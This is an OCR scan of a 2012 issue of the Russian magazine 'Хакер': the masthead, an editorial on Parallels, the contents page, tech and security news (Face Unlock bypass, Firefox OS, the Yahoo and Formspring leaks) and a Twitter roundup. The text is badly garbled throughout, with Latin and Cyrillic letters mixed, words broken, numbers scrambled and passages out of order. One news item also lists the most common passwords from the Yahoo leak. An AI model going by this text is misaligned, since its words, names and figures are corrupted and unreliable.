Issuu on Google+

3 -HI+EH

устАнАв лизАЕм LlNUX нА смАртФOнЕ,,,

чI IП

ll

i,lузей редкпх прототхпов Apple

о9|16412о12

рЕкOмЕндOвАннАя

-лоп СOЗДАВАЛАСЬ

PARALLELS? _

066 -

SQL-ИНЪЕКЦИИ

чЕрЕз DNS

6

ГЛАВНЫХ КНИГ 0

кOдингЕ

)l(EлЕзньlи дуршлАг Е

lЦ Е В Ч Е РА УЯ З В И

]ti О С Т

ИВА

П

ПА РАТ

Н 0 1.i 0 Б Е С П Е Ч Е Н И

И

Были 0БъЕкт0}l ФАнтАзий. свгодня это рЕАльность

ilшill|lшl|tilшшll llllшil|il|ш

ýý


JI*швOGмh:8литý пшOиsвOдитGпhнlIGти

ltllaHBHшfr


Fдl{ЕF рЕддкция Главныйредактор

степан

меfilтель гла в ноrо реда п0 техниче(кимвOпроaам За

пора

Ильин

"step>

l9!евГd@Щер

Rr]

Андрей (ДпdгOshосk, Матвеев lапс]гUShоq[@щЬkе!.гUl Илья Илембитов l embilav0rc!].xa!€!,ru)

Шеф-редапор Выпускаюций решпор

Илья Курченко

Редапорырубрик PczONE и UNlтs взлOм

lfцгqhщ[оGгщ!д!gр.гu)

Илья Илембитов

l

emb tov0|щ!qkep

г!)

Юрий Гольцев lqql!щчlагеа ,xakep гU] Андрей (ДпdгUshосk, Матвеев (щdгU5hо.kft геа].хаkеD,г!l Александр (Dr К|оUпiz)Лозовский (аlехапdегВге?|хаkеD,пl]

UNlxolD и SYN/AсK MALWARE и КOДИНГ Л итературrый редактор

Евгения Шарипова Людмила Вагизова lщgrzova[dg

РR-менемер

с

гл)

DvD Выпускарщий редашор

днтон (апЬ)жуков

Iапtгdrеа].хаkеD,гU]

Андрей (Апdr!shосk) Матвеев lапd.UshосkВгеа хаkедщ) Дмитрий nD]9] > Евдокимов (evdOk mOvdStagmail,com)

Uпiх-раздел

5есчritу-раздел Моffтажвидео

МаксимТрубицын

ART

Арт-дирепор

дизайнер ВерФальцик Билд-редапор

ИллюФрациянаобложке

АликВайнерlа koglс,гU] Егор Пономарев

Вера Светлых Елена Беднова

ТемболатГугкаев,СергейКатков

PUBLlsHll{G

Издатель 000 (ГеймЛэнд,, Тел,| (495]9З4-70З4,

]9]46, L Москва, Фрунзенская 1-яул,,д.5

1

Факс: l495) 545-09-06

Главныйдизайнер

ЭндиТернбулл

РАЗ1,1ЕIЦЕН ИЕ РЕКЛА1,1Ы тел,: {495] 9з5-70з4. факс: [495l 545-0906

0ТДЕЛРЕКЛДltlЫ Заместиreль reнеральноrо

директOраполрOдажам

ЗинаидаЧередниченко{ziпаidасhGglс,гU]

Дирепорпорешаме

Хурнала(Хакер) Старщийменемер 1.1енемерЫ

ЕленаПоликарпова[шli!щDочаВа]с.гU] АнастасияСоколовская|SоkоочSkауаOglс,гU] [митрий Качурин |kасhuг пOglс,гu] Николай АреФьев lагеfvеvtd_Q с,гU МаринаФилатова lf iatovala_o с,гU]

ДиректорrруппыТЕСНNOLOGY ДиректоргруппыСORРORДТЕ КристинаТатаренковаltа!ФепkочаOgсгчl Директор группы

L|FESПLE

Старшийтрафик-менед*ер

пр0 0шиБки

(s}qqча@gЕд]

МарьяБуланова[ЬulапочаГd_осгц]

0тдЕл рЕдлизАции спЕцпрOЕктOв

Когда с м отр и ш ь на та к и е ко м па н и и, ка к Ра га l l е l s, кажется, что у них всегда все было хорошо. Сложно представить, что в ихжизни были неудачи, когда запущенный продукт не выстреливал, и сложнейшие периоды, когда денег не хваталодаже

директор

Александркоренфельд{kо.епfеdlаgс.U]

ДИСТРИБУЦИЯ Директор

на зарплату сотрудникам. 0дурманенный

историей скороспелых стартапов, оцибочно представляешь себе идеализированную картинкутого, как небольшая софтверная фирма беспрепятственн0 превращается в0 всемирно известную компанию с многомиллионными оборотами... И только когда поговоришь с человеком, который стоял у истоков и, болеетого, всегда отвечал за разработку, пOнимаешь, наскOльк0 на самом деле сложен путь к успеху, я до сих пор под сильным впечатлением от разговора со станиславом Протасовым, сооснователем Рагаllеls. У него N,lы взяли интервью для этого номера. Кажется, еще никто так прOникновенн0 и честно не рассказывал о сложностях, с кото-

рыми пришлось столкнуться во время становления компании. и сделанных ошибках. В такие моменты хочется поглощать каждOе сказаннOе слов0: понимаешь, что это настоящий кладезь знаний для всех. кто создает новые продукты, Большинство SUcceS5 5tогiеs Успешных компаний, по сути, не более чеN4 интересное чтиво. Самое же полезное- анализ ошибок и конкретные рекOмендации, как их избежать, отлюдей, которые знакомы с этим не пOнаслышке_ Степан <<step) Ильин,

rлавред. Х

twitter.(om/steDa

Длиса Сысоева

h

по

диФрибуции

Татьяна Кошелева

lks9hеф!аlоgtд]

пOдписк^ Руководитель отдела подписки

!митрюк ldmlryu!@g]cru)

Нина

Претензии

дополнительная инфа В случаевозникновениявопросовпокачествупечатииDvD-дисков:q и

а mBg с гq.

Горячаялиния

поподписке 0нлайн-магазин подписки: http //Shoo.g Факсдля отправки купонов и квитанций

щ

с

новые подписки:

1495] 545-09-06 1495] 66З-82-77 Телефоншяжителейрегионовидлязвонковсмобильныхтелефонов:8_800_200-з-999

ТелеФон отдела

фя пrсем:

]

на

подпискимя жителей Москвы:

0] 000,

Москва, Главпочтамl

а/я 652,

Хакер

Учредитель:000 (Врублевский Медиа,, ]25З67, t Москва, Врачебный проезд, д, ]0, офис 1 зарегистрировано в Министерстве Российской Федерации поделам печати, телерадиовецанию и средствам массовых коммуникаций ПИ Ns ФС77-5045] от04 июля 20] 2 года. 0тпечатано

в

типографии SсапWеЬ, Финляндия.Тираж 222

100

экземпляров,

мнение редакции не обязательно совпадаетс мнением авторов, Все материалы в номере предоставляются как информация к раэмышлению. Лица, использующие данную инФормацию в противозаконных целЯх, могрбыть привлечены к ответственNости, Редакция не несет ответ-

ственностиэасодержаниерекламныхобъявленийвномере,Заперепечаткунашихматериаловбез

спроса-преследуем. по вопросам лицензирования и получения прав на использование редакционных материалов журнала обращайтесь по адресу: сопtепtВgIс,гU,

О 000

"ГеймЛэнд",

РФ,201 2


Content 015

HEADER 004

MEGANEwS

01,1

Все но вое за последн hасkег tweet5

Хак-сцена

в

016

твиттере

и й м

017

032

в

ити я

бесплатноделатьпокупки внутри приложений.

Proof-of-concept Смотрим lР-адреса пользователей Skype

020 раз

ща

колонка Стёпы Ильина

cOYERsToRY

эксплойтов

(вскрылDАрр

получили вOзможность

Про то. как я Ехсеl с питоном подружил

еся ц

covERsTORY

Железный дуршлаг Новый виток

Российскийхакер

store. ilиллионы пользоватёлей

Мечтаютли андроиды

электропингвинах? Устанавливаем Linuxдистрибутив на телефон и планшет под управлением Апdгоid об

"зЖёЁýj 'q: ;;iiфji#}j"

;

}$,ttt!-;; з

]e.;**

l l]'


PczoNE

':l.]&:,

032

Прототипы oTApple 0казывается, в яблочной компании разработали нетолько

01,1,

жизнь

048

Знако1.1

iPhone, iMac

и

iPadI

консолиwiпdоw5 Апгрейды для cmd.exe и альтервативы в

ься. Это 1.1arkdown Используем хакерский язык разметкидля самых разныхзадач

Взл0].{ 052 057

062 066

и м

ся

н

а

чужих ош иб ка х и за щи щае м

рол и от брутфорса

па

06зор эксплойтов Анализ свеженьких уязвимостей SQL-инъекции через DNS П

I t10 11l,

Easy Hack Хакерские секреты простых вещей Сага о крилтостойких паролях Уч

104

олуча ем соде ржи мое базы да

н н ы х

через

D N

Ядовитая обертка, или опасный рhр://filtег Использование враппера php://f iltег в контексте атаки на веб-приложения PHDays 2012: какэто было? в

120 12l,

S

0тчето конференции по практической безопасности

f

130

картинках

I 082

086 088

утилит для исследователе

ШколаНighlоаd.УрокN93 Масштабирование бэкенда

uNlxOlD Анато1,1иястрекозы 0бзор ключевых особенностей операционной системы DгаgопFlу BSD

скрытые резервы Задействуем современные видеокарты на полную катушку

sYN/Аск Развернуть и настроить Решения Асгопisдля автоматизации установки 0С

на множеств0 кOмпьютеров

Грозовые облака 0реп Sоuгсе решения для организации SAAS/lAAS, способные изменить информационныетехнOлогии ито, как мь их воспринимаем

Кузница стресс-тестов TSUng: распределенная система нагрузочноготестироваNия

x-Tools 7

АкАдЕi{ия

веб-приложений

й

безо пас

н

ости

ry

tlALUlrARE Festi: злобный и бестелесный Раска п ы ва ем в н утре н н ости руткита, не <Королем спама"

136 з

ря

п

роз ва

н н о

го

KlS 201 3: новая версия 06зор свежей версии <Касперского> Поймай меня, если сl..lожещь l[-концепт: скрываем файлы по-новому

139

FERRU],I Великоекитайскоепроизводство Культурные ислледования братского Китая BUFFALOTerastationTS5400D NAS'b в массы

091

юниты

11,0

FАо

14з

Диско

11,1,

WWW2 Удоб

Подборка интересных заданий, которые дают

собеседованиях 6 главных о кодинге на

094

Их должен прочитать каждый, кто считаетсебя

программистом!

098

Fаtе ofwindows phone П рогра мм и рова н ие и нтерфейсов для WP7.5

и

ответы

8,5 Гб всякой всячины

Задачи на собеседованиях

в

готовых рецептах

082

пользу

!d

I

Вопросы

кOдинг

в

известного журнала <Хакер"

н ы

е

wеЬ-серви

с

ы


}r|

EGAN EWS i

0чки дOпOлнЕннOи рЕАльнOсти 0т 0LYMPUS

м

;lfiiЁ+*liifii"iн,li,I-,

хOзяин, эт0 тOчн0 Tbl? АвторизАцию по сни1,1ку влАдЕльцА всЕ ЕlцЕ 1,1ожно оьойти

АнонсировАн0 ЕlцЕ 0дн0 носи1,10Е устрOйств0 ыло очевидно, что вследза очками Google Ргоjесt Glass вс к0 ре п 0тя н утся и други е п 0хOж ие п р0 е кты, н 0 м ы н е думали, что это произойдеттак скоро. Компания 0lympus

занимается разработкой дисплеев, пригодныхдля ношения, с прошлого года и даже успела продемонстрировать публике несколько прототипов. Но теперь, когда Google уже принимает предварительные заказы на Google Рrоjесt Glass, Olympus решила не терять времени даром и официально анонсировала свой продукт с дополненной реальностью- 1.4EG4.0. В отличие отсистемы Google, рOтOти п н 0с и м 0 г0 д ис пл ея 0т я п 0н с к0 г0 п рOи з водител я кре п итс я дуж ку оч ко в и с п о собе н в ыда вать ка рти н ку с раз ре ш е н и е м З20 х 240 пикселей. Яркость QVGА-изображения может варьироп

на

ваться в пределах от 1 0 до 2000 кд/м2 lэтого вполне хватитдля яркого дневного света). Сама система весит около З0 г и способна взаимодействовать с мобильными устройствами через интерфейс Bluetooth 2.1. Встроенный акселерометр позволяетуправлятьустройством движенияN4и головы. Устройство отображает информационное поле в области периферического зрения, где будетдемонстрироваться навигационное положение пользователя и другая полезная информация. Таким образом, 0lympus MEG4.0 вполне может использоваться, например, в навигациOнных задачах, предOставляя сведения о местоположении владельца с GРS-модуля в смартфоне.0 сроках релиза и стоимости девайса пока ничего не сообщается.

Е 0бещанное время автономной работы

устройствадоходит д0 восьми часOв при включении ва

пятнадцать€екунд раз втри минуты.

ачиная с версии 4.0, вАпdгоid появилась функция разблокировки смартфона Fасе Un]ock, призванная увеличить безо п ас н ость. Ув ы, оч ен ь бы стро в ы яс н ил ось, что е е ле гко об ма нуть: до статоч н о п о казать устро йству не л и цо настоя щег0 владельца, а обычную бумажную фотографию или фото, выведенное на экран любого устройства. Впрочем, Google всегда называла Fасе Unlock экспериментальной функцией, обладаюцей низким уровнем безопасности. 0днако вАпdrоid 4.] "Jelly Веап" появилась отдельно включаемая функция Liveness Check, которая требует, чтобы пользователь моргнул во время аутентификации, *фотография, понятное дело, моргать не умеет. Казалось бы, уровень безопасности должен повыситься, но нет. Выяснилось, что с помощью графической обработки и создания простенькой GlF-анимации можно без особых проблем обмануть и Liveness Check. Также не стоитзабывать и о том, что, хотя перехитрить систему при помощи фото стало сложнее, ей все равно не стоитслишком уждоверять; она может спокойно открыть доступ к смартфону человеку, который лишь в общих чертах похож на владельца устройства:), Словом, пароли и РlN-коды пO-прежнему

выглядят надежнее.

I

вхOдЕ HAcKER5 01{ PLANET EARTH хАкЕР ( никOlt|

РАЗЛOЧЕННАЯ ВЕРСИЯ с1,1АРтФонА бALAxY5 lll

БудЕт

п

рOдАвАтьс

я

п

ря

1,1

ОФИЦИАЛЬНОГО САЙТА. купить Developer Edition версию смоrуттолько раз-

0

RAY продемонстрировал,

С

чт0 l|ожно напечатать на

Но

ЗD-принтере ключ от наручников (даже <сложных>l

работчики.

004

APPLE дOгOвOрилА(ь с тАЙвАн ьскоЙ к0},lпАниЕЙ PROvlEWTE(HNOLO6Y, которой принадлежат права на слово (iPadD в Китае. Apple купит его за 60 миллионов дOлларOв.

п 0

БЕдитЕл

п0

п рOгр^1,1

СUР.

Et{

ч Е}4 п

и0 нАтА

vK п роведенноrо (ВКонм и

рOв^н

и

ю

выхOд BLдcKBERRY l0

0ткл^дывАЕтсяд0

2013

ГOДА, сообщила ко}.iпания

такте>, стал 16-летний про-

Rеsеаrсh lп ].,lotion. при-

граtlttист из Китая Южу Гу. В качестве приза он получил 30 тысяч долларов.

чина прOста: задержки в

п

0дгOтOв ке

п

р0 гра

1.1

ll

н 0

г0

обеспечения.

хдкЕр

09 /1b/,l 2012


rщщ

FднЕF


1.{EGANEWS

РАсlЦиРЕния снR01.,lЕ 0тнынЕ 1,10гУтдЕнOнстРиРOвАть

БOл ьL1l0и БрАт

ТЕБЯ НАСКВOЗЬ

видит

РЕклА},lныЕ БАннЕРы нАстоРоннив саЙты. гугл разрешил.

FlRЕFOх 0S. ужЕ скOр0 l,tOZlLLA пРЕдстАвил^ соБствЕннУю опЕрАционную систЕllу

3нАкOlt{ыхтЕхнолOгиЙ

Е Передтобойне простокартинка

<подрентген>,

это-реальный образецскана,

которыйделает zBv.

уже рассказывали о проекте Boot to Gecko (B2G), над которым усердно трудятся в lr4ozilla. НапOмним, чт0 кONlпания планирOвала превратить движок Gecko, обеспечивающий работу браузера Fiгеfох, в 0перациOнную систему с 0ткрытым исхOдным кOдOм для ы

телефонов и планшетов. Недавно N4ozilla выпустила пресс-релиз, в котором сообtлалось, что проект Boot to Gecko переименован новая 0С будет поставляться подузнаваемым брендом tiгеfох [п редп ол а га ется, что это должн о в ыз вать и нте рес пользователей к новым смартфонам, выходяшим на рынок). Также в пресс-релизе были раскрыты некоторые подробности относительно грядущей 0С. Fiгеfох 0S базируется на открытых веб-стандартах, предоставляя разработчикам приложений основанные на НТМ L5 ком п о не нты для задействова н и я всех воз м охностей аппаратных устройств. Mozilla традиционно гаранти рует а бсол ютную отк рытость п рое кта и неза вис и м ость разработки от коммерческих фирм. Компания намерена передать этал о н ную реал иза ци ю We Ь APl, раз работан ного при создании Fiгеfох 0S, в организациюWЗС для утверждения в качестве веб-стандарта. При этом Web АРl по возможности базируется на уже принятых стандартах, лишь расширяя их в необходимых направлениях.

-

сканерами-такие устрOиства, например, установлены в аэропортах многих стран мира. Не первый год ведутся дискуссии об этичности их применения, flело втом, чт0 перед взOрOм 0ператора такOгOустрOиства челOвек предстает практически без одежды. Зато ска н ер дает возможн ость бы стро п ро вести пол н ы й дос мотр: с разу видн0 сп рята н н 0е 0ружие, Н еда вно жур нал FогЬs поведал м и ру о том. что подобн ые дева йсы м ожно се мы хOрOш0 знакOмы с рентгеновскими

встретить

не

только

сканеры, способные

в

аэропортах

и

больницах. 0казывается, рентгеновские

<видеть> сквозь стены и через одежду, уже давно

досryпны в коммерческой продаже в виде обычных фургонов! К примеру, компания Аmегiсап Science & Епgiпеегiпg выпускаеттакие фургоны под брендом ZBV lZ ВасksсаttегVапl и за последнее время продала более 500 фургонов федеральным службам США и иностранным закаэчикам. В фургонах ZВVустановлено рентгеновское оборудование, которое направляет пучок излучения на другие автомобили и окружающие объекты: людей, сумки, подозрител ьн ые контей неры и так дал ее. Та кой фур гон может п росто п роехать п о а втомобильной па рковке, и оператор увидит, в ка ких маш инах есть л юди, ка кой това р находится внрри грузо вых фур. П ока не совсем ясно л и ш ь 0дн0 и меют л и п ра воохран ител ьн ы е ор ган ы п ра во осуществлять

-

подобные.обыски>>, пустьдаже с помощью рентгеновскихлучей, не имея ордера и не получая ничьего согласия. N4ожетстаться, чтотакое сканирование не являетdя обыском, а значит, его можно применять, как фотоаппарат или видеокамеру, без особого раэрешения.

-

сАный молодой сЕрти@ицировАнный спЕциАлист 1.,llcRosoFT

вOсь1.,|илЕтниЙ шOФАЙ тхOБАни в T0P)i(EсTBEH нOЙ

0БстАновкЕ пOлучил

РтиФи кАТ 1.,l l с ROSO FT cERTlFlED TEcHNOLOGY

сЕ

SPEclALlsT

Платфо рм а из начал ьно опти

м из и ро ва на

дл я начал ьн ого

сегмента смартфонов и лишена излишних промежуточных прослоек, что позволит мобильным операторам подготоить п родукты, п редоста вля ю щие бо гаты й на бор фун кци й по цене дешевыхтелефонов. Разви вае мая в ра м ках п роекта Fi геfох 0S мобил ьная в

платформа базируется на идее использования браузерного окружения вместо рабочего стола. В отличие отСhгоmе 0S, платформа Fiгеfох 0S ориентирована на мобильные

устройства и предоставляет расширенный Web APl для создания специализированных мобильных приложен,лй, в полной мере использующих возможности современных телефонов. 0сновой служитядро Linux и низкоуровневые компоненты из платформы Апdгоid. Вместо виртуальной машины Dalvik для запуска приложений задействован веб-стек Mozilla. flля распространения обновлений в Fiгеfох 0S будут использоваться проверенныетехнологии, применяемые проектом tiгеfох и каталога дополне н и й для Fi rеfох. П риложе н ия будут рас п ространяться через каталог-магазин Mozilla Магkеtрlасе, который будет поддерживать распространение как бесплатных,так и платных приложений. Пользовательский интерфейс платформы формируется из набора веб-приложений Gaia. В е го соста в войдут б раузе р, кал ькулято р, календа р ь-

планировщик, приложениедля работы с веб-камерой, адресная книга, интерфейс для осуществления телефонных звонков, клиентэлектронной почты, интерфейс для SMS/M MS

и та к

далее.

Вм

есто предоста вл

е н

ия

доступа

реальной файловой системе программы будутограничены внутри виртуальной ФС, построенной с использованием lndexedDB APl и изолированной отосновной системы. к

Созданные с использованием Web АРl программы смогут работать нетолько в окружении Fiгеfох 0S, но и влюбом поддерживающем стандарты ве6-стеке, Первые модели артфоно в, уко м пл екто ва н н ых но вой 0С, в ы пустят ком пании TCL Communication Technology {Alcatel] и ZTE. Смартфоны с Fiгеfох 0S поступят в продажу в начале 201З года под брендом Vivo, принадлежащим компании Telefonica. см

хлКЕР

09

l1btll2012


"*oa*{ri

}Iяj}Ько l

ll lL l l lt!,l l l лц

t 1 l 1

t,

\,


lrl

EGAN

EWS

!к(трАдицию основАтЕля

утЕч ки l1р0 LlJл кАкиЕ ко1,1пАнии

и

0

!,tEGAupLoAD

киltlАдотко]tlАВ(ШАотлоlкили

г0 м Еся цА

(ЕРвисы пРоlllтРАоились в июлЕ

до l.,lapтa

20l3 года. ки},l по-прежнемуостается

в

новой зеландии.

сOстOялся ФинАл lMAGlNE CUP2012

пOБЕду в сOстязАнии 0дЕржАлА

ко1,1АндАукр^ины

конце июля в Сиднее прошел финал конкурса М ic гоsоft l mag iпе Cu р 201 2, отм ети в ш его в это м году с вое десятил ети е. П ять дн е й студе нты со всег0 мира представляли свOи прOекты судеиским кOллегиям и принимали участие в обучающих сессиях. Всего

международном финале всемирного студенческого п ри нял и участие более З50 студентов из 75 стран мира. Россию в финале представляла томская кома нда Bonjo uг Deve lорmепt студе нты ТУСУРа, МФТИ и аспирант ИППИ РАН, Но победа в конкурсе впервые осталасьза командой Украины. Команда Quadsquad показала на конкурсе системудля помощи немым людям Enable Talk. Специальные перчатки, оснащенные множеством се н сOрOв и датч и к0 в дв иже н ия, п е реда ют да н н ы е 0 жестах на мобильное устройство. flанные анализируются, распознаются, и генерируется голосовое сообщение-таким образом систематранслируетязыкжестов в обычную речь, и ремые люди могутобрести.электронный голос". Команды-победители получили призы в размере 25, 10 и 5 ты сяч долла ро в С ША за п ер вое, второе и третье м еста соответственно, Российская команда Вопjочr Development представила свой проект М. D. Voice. С помошью Windows Рhопе 7 студенты разработали метод ранней диагностики заболеваний гортани на основе анализа изменения голоса. Проектбыл признанлучшим в России, получил высокие оценки международного жюри в Австралии, но в ходе отборочноготура в суперфинал не прошел. в

куб ка технол оги й

-

епонятным образом в Сеть попали е-mаil-адреса пользователей популярнейшего облачного хранилища DrорЬох. Жители Германии, Нидерландов и Великобритании оставляют на форуме DгорЬох сообщения о том, что получаютспам на адреса, созданные специальнодля использования DгорЬох.,Д,ля прояснения ситуации кOмпания пригласила независимыхэкспертOв. Хакерская группа DЗЗDs Соmрапу выложила на своем сайтетекстовый файл суказанием адресов электронной почты и паролей 453 492 пользователей Yahoo. Информация явно собрана с помощью SQL-инъекции -текстовый файл содержит более 2700 названий табличных строк и стол бцо в, а та кже наз ва н ия 298 перем е н н ых MyS0 L. Э ксперты считают, что взломан сервисYаhооVоiсе, поскольку в фа йле есть строка bb'l.ac.bf1 .yahoo.com о, а этот п оддо"d мен принадлежит именно ему. Исполнительный директор сервиса вопросов и ответов ng подтве рдил, что база и з 420 тысяч хе ш ей, опубликованная на одном из хакерских форумов, действи-

Fогmsр

гi

Е Тор-l0паролей yahoo, основыsаясь на утечкеi 12зl,56 1666 l0,з8%|

pa5sword

780 l0.18%l

welcome

1зб l0,1%l пiпjа ззз l0,08%l аЬс l 2з 250 l0,06%|

l2з456?89

222 l0,05%!

12зl,5678

208 l0,05%l

sUnshine

205 l0,05%l

рriпсе55

202 l0,05%l

qWerty 1,12l0,0ty"l

тельно принадлежит пользователям Fогmsргiпg. Расследование выявило, что неизвестный злоумышленник

п рон и к на один из серве ров разра ботк и и с коп и ро вал ба зу хеш ей. Уязви мость в систем е уже за кр ыта. Па рол и всех пользователей Fогmsргiпg [а их более 22 миллионов!) при-

нудител ьно деа кти ви ро ва н ы, для входа на са йт требуется сменить пёрOль.

I F-sЕСURЕСOOБЦlИЛА0 HOB01.1 ВРЕДОНОСЕ, КОТОРЫЙ НЕ 0ГРАНИЧИВАЕТСЯ ЗАРЛКЕНИE].l тOлЬкOwlнDOws-1.1Ашин, н0 спOсOБЕн рАспO3нАвАть РА3ЛИЧНЫЕ 0C:Windows, 1,1ac 0S и Linux и использоватьсоответствуюtций зксплойтдля кахдой .конкретной 0С. ilалварь,получила имена Тrоiап-Dоwпlоаdеr:Jача/ Getshell.A, Backdoor:O5x/ GetShell.A, Backdoor:Linux/ Gеt5hеll.Аи васkdоог:W32/ GetShell.A.

ЕlцЕдвOЕучА[тникOв хАкгРУппы LUtz5Ec [20-летний

462 из 500 lБOлЕЕ 90%l

Райен Клири и 19-летний

тЕрOв пл^нЕты рАБOтАют

ДжейкДевисl признали свою вину вхOде 0череднOгOзаседания суда в Великобритании.

СИСТЕ1,1,

пOдупрАвлЕни

E1.1

*Nlx_

сообщаетреЙтинг

т0 Р500 catt ых l.{оlцных

суперкOмпьютеров.

хАкЕр

09

/]64l 20]2


подпишись! 8-800-200-3-999 +7 (495) 663-82-77 (бесплатно)

Редакционная подписка без посредников это гарантия получения важного для Вас журнала и экономия до 40% от розничноЙ цены в киоске,

-

'.rч

6 номеров 2 номеров

1

-_

1

194 ру6. 49 руб.

21

6 номеров 12 номеров

ру6. - 810 - 1499 руб.

пtр8Ot

6 номеров 12 номеров

ру6. - l110 - 1999 руб.

DigitalPhoto

второЕ

ryw

6 номеров

'l2 номеров-

13 номеров

руб. - 564 - 1105 ру6.

6 номеров 599 ру6. 'l2 номеров - 1188 ру6.

-

ffi*-ffiffi*-i

З номера 6 номеров

-

-

630 ру6. 1140 ру6.

тл$ЁЁ @

6 номеров 12 номеров

ру6. - 1110 1999 ру6. -

6 номеров 12 номеров

_ 895 ру6. - 1699 руб.

ffi 6 номеров 12 номеров

ру6. - 1110 - 1999 ру6.

бномеров-1110ру6.

12 номеров

-

894 руб. 1699 ру6.

19

[!ця

6 номеров

-

1999 ру6.

и MArl] уАиIснOу

6 номеров 12 номеров

,GD

0 ру6, - 811499 руб. -

EJ;*.--*-"*

ffiрсплп

6 номеров 12 номеров

ру6, - 690 - 1249 руб.

6 номеров 12 номеров

950 ру6. 1699 руб.

6 номеров 12 номеров

_

-

775 ру6. 1399 руб.

(gаmеllапd -

shop.glc.ru


],IEGANEWS

пOчтOвы].l сЕРвисOн GнАlLпOль3УЕтся t25 ниллиOнOвчЕлOвЕкп0 всЕ]i,|У]i|иРу, сообщаетGооglе.

рАвятся |<отики

н Еи рOн

нOи сЕти GOOGLE

GOOGLE уСпЕlЦн0

сииУлиРУЕт РАБоту РЕАльного голOвнOг0 1,10згА

одразделение Х Lab , .секретная лаборатория> компании Google, совместно с учеными из Стэнфо рдс ко го ун и верситета о публ и ковала отчет, в котором сообщается, чтоученым компании удалось создать крупнейшую самообучаюцуюся компьютерную нейронную сеть. Напомним, что Х Lab хорошо известна всему миру именно благодаря различным инновационным проектам, вроде беспилотных автомобилей, управляемых компьютером, или очков дополненной реальности, Теперь вот настал черед нейронной сети. Ученые рассказали, что на протяжении нескольких лет работали над симуляцией человеческого мозга, в ходе чего и была создана одна из крупнейших в истории нейронных сетей для машинного обучения. Сеть была построена на 16тысячах процессоров. В результате исследOватели смOделирOвали систему с примерно миллиардом взаимосвязей между отдельными процессами [н е й

ро на м и). ,Щля сра вн

е н

н

алгоритмы машинного обучения почти все основаны на анализе 0грOмнOг0 кOличества экспериментальных данных. Например, чтобы натренировать систему на визуальное распознание ноутбуков, необходимо предварительно показать ей множество фотографий, обозначенных как <ноутбуки>. Как правило, такие системы используются для распознавания устной речи, анализа изображений, проверки сообщений на спам. <Мы никогда не говорили сети в процессе тренировок:,,это кошка". Таким образом, машина фактически сама изобрела для

поясн яет ffжефф ! и н, учен ы й н цеп ци ю кош ки >, из исследовательской лаборатории Google. Нейронная сеть Google самостоятельно сформировала размытое се бя ко

-

изображение кошки, использовав наборы изображений разных котов из памяти. Ученые говорят, что на примере этой сети им впервые удалось повторить процесс обучения, который происходит в человеческом мозге.

Е

Нейронная(еть(просмотрелаrrболееll)шиллионов

картиноки распOзнала lиенно изображение кошкилишь потошy' чтOкартинки сэтf, tи животныйl встречаются в Сети чащевсего.

ия: до этого в экс пери мента х

по машинному обучению применялись сети разве что

c'1-10 миллионами связей, Самый интересный нюанс состоит втом, что, обеспечив нейронной сети доступ в интернет, ученые позволили ей обучаться самостоятельно. В качестве материала для работы сеть использовала видеоролики с YouTube. Ей демонстрировались случайные изображения. Изучив около 1 0 миллионов рандомных цифровых картинок, взяты х и з в идео рол и ко в, ней рон ная сеть са м остоятел ьно научилась... распознавать изображения кошек :]. Ученые уверяют, что эффект, полученный отданного исследования, сильноудивил даже их самих, ведь сеть самостOятельно смоделировала изобрахение кошки, и результат вышел куда более точным, если сравнивать его с другими объектами в аналогичных экспериментах. Проведенное исследование вообще представляет собой новое слово в компьютерной науке, которое стало возможнотолько благодаря падению стоимости компьютерных вычислений и доступности огромных кластеров компьютеров в гигантских дата-центрах. Новизна этого эксперимента заключается в том, что раньше при создании похожих нейронных сетей люди наблюдали за обучением компьютерного интеллекта и управляли им, а в этот раз машины пOлучили пOлную свободу. [ело в том, что существуюlцие в наше время l

Билл гЕЙтс 0Б использовАнии плАнlllЕтOв

в

0БрАзовАнииз

((оБучЕнUЕ НАУСТРОИСТВЕ

БЕз клАвиАтурнOг0

вводА нЕэФФЕктивн0.

ДЕТЯ].{ HУ)KH0

РА3ВиВАтЬ ]t{OтоРикУ и

учиться

писАть>>

хАкЕр

09/164/2012


BvUPEil

VUe-=N

Блог: продвинрая эксплуатация lE9 MSXML Uninitialized Меmоry

МS12-04З с обходом ASLR/DEP... используя ТOЛЬК0 RGB! ЬцJО1fGЪ

Bkkotowicr Только что получил e-mail с благодарностями от опенсорсного вендора. Каждый должен попробовать геsропsiЬlе disclosuгe!

,I Ф

*Дr,iiг+-::.},.j;ft

nsteyeýtreza alias please=sudo

.

рабочем столе.

Bthezdi Анонсируем: lйоЬilе Pwn2Own ; 20'1 2: bit,]/Q[09_P ( #рwп2оwп

Б Е

Шрка шуткой, но у CERN свой дистриб Linux tScientific LinuxJ, который и помог в обнаружении бозона Хиггса!

na9ustingianni Интерактивный компилятор для С++. Угарно и полезно: gсlцоdЬоii,Q_l_ц

Коинентарпй:

ZD| расширила свое мероприятие Pwn2Own. Таким образом, в сентябре

пaaminsalehi

Амстердаме на EUSecWest пройдет конкурс по взло}iу мобильных устройств через следующие векторы: Mobile Web Вгоwsегs,

РiоtгВапiа: bit,lylMZOMoh

Fгоm Russia With Love!!! RT

в

Nеаr Fiеld Communication lNFCl. Shоrt Message Sегчiсе lSMSl, Сеllulаr Baseband.

t0

реально полезная ссылка, 0собенно если ты пишешь шелл-код 8l

Шугка в Твиттере о том, что в СПб

шркой, тем не менее, по словам автора,

laesizkur: 0lD_АА_Сагmасk

ему пришл0 нескOльк0 резюме: два из России.одно из Восточной Европы, одно

Удивился, обнаружив, что С++ по-тихому конвертирует false

требуется

разработчик

малвариl

осталась

из Франции, а одно даже из Кении!

любой указатель как 0. Безвредно по сравнению с геturп NULL, но позволяет вызывать плохие функции. в


1.{

ЕGА

N

EWS

в

хВох LlvE тЕпЕрь рЕАлизовАнА двУхУРовнЕвАя АУтЕнтиои кАция

ЕрЕдАчА дАн н blX ч ЕрЕз тЕл0 Ч ЕЛ0 В ЕКА УЖЕ РЕАЛ ЬН 0СТЬ

-

с

кодом подтверждения, высылаемым по 5},lS или e-mail.

п

<лАБOрАтOрия

БЕзуl{нАя. н0 рАБотOспосоБнАя тЕхнOлOгия ЕRlсs5ON

РАЗРАБАТЬl ВАЕТ

кАспЕрскOг0>

CB0lo 0с

ПЛАНЫ KASPERSKY LAB Р^ССЕКРЕТИЛ РЕКРУТИНГОВЫЙ САЙТ

ко

м

па

н и

и

Еriс sson

я в н

о ра бота ют

н а с

тоя щи е

п о

-

клонники киберпанка и энтузиасты своегодела, Исследователи Егiсssоп продемонстрировали высOкOскOрOстную передачуданнь х прям0 через чел0веч

ес кое тел

о !

Тех

н

ол

о

ги я

п

ол уч ил а го во ря

щее

н

аз ва

н

ие

